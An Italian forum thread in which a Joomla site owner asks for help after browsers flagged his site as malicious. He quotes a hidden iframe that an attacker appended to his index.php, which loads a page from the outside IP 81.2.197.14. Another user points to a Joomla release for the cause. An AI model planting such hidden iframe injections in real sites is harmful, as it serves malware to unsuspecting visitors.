Back to top

Autore Topic: Mi hanno hackerato il sito, ma ho risolto..Richiedo assistenza agli esperti...  (Letto 1504 volte)

Offline tavolez

  • Esploratore
  • **
  • Post: 186
    • Mostra profilo
Salve ragazzi,

E' da qualche tempo che accedendo al mio sito Joomla con alcuni browser (Firefox e Chorme), mi viene data la segnalazione di SITO PERICOLOSO per il mio pc (MALWARE), a causa di un link presente alla mia pagina contente l'IP: 81.2.197.14

Ho cercato su google ma non ho trovato nulla.

Poi oggi mi rendo conto che nel file index.php qualche male intenzionato deve avere aggiunto una stringa finale che vi riporto qui:

doGzip();
?><!-- ~ --><div style="visibility:hidden"><iframe src="http://81.2.197.14/pls/pls2/count.php?o=2" width=100 height=80></iframe></div><!-- ~ -->

Ora la ho cancellata, e sembra essere tornato tutto a posto (nessun browser mi dice che il mio sito contiene MALWARE).

Come diavolo è possibile che qualcuno sia riuscito a fare questo?
Premetto che per pigrizia e COLPA mia, ho una versione di Joomla vecchia di almeno 2 anni (1.0.8 stable ita) quindi sicuramente so che è meglio avere versioni aggiornate...

Però mi sembra assurdo che qualcuno possa entrare e modificare la mia index.php....

Qualcuno potrebbe per piacere illuminarmi sulla questione e su come funzionano queste cose?

Grazie :)

Offline tavolez

  • Esploratore
  • **
  • Post: 186
    • Mostra profilo

Offline = odino =

  • Instancabile
  • ******
  • Post: 5696
  • Sesso: Maschio
  • "In realtà li trasforma in menomati" Danzel
    • Mostra profilo
Leggiti del rilascio della 1.5.6...

Offline tavolez

  • Esploratore
  • **
  • Post: 186
    • Mostra profilo
cioè era un bug?

Offline = odino =

  • Instancabile
  • ******
  • Post: 5696
  • Sesso: Maschio
  • "In realtà li trasforma in menomati" Danzel
    • Mostra profilo
così capisci la dinamica ( non il problema nel tuo caso specifico ) di come ti han bucato

 



Web Design Bolzano Kreatif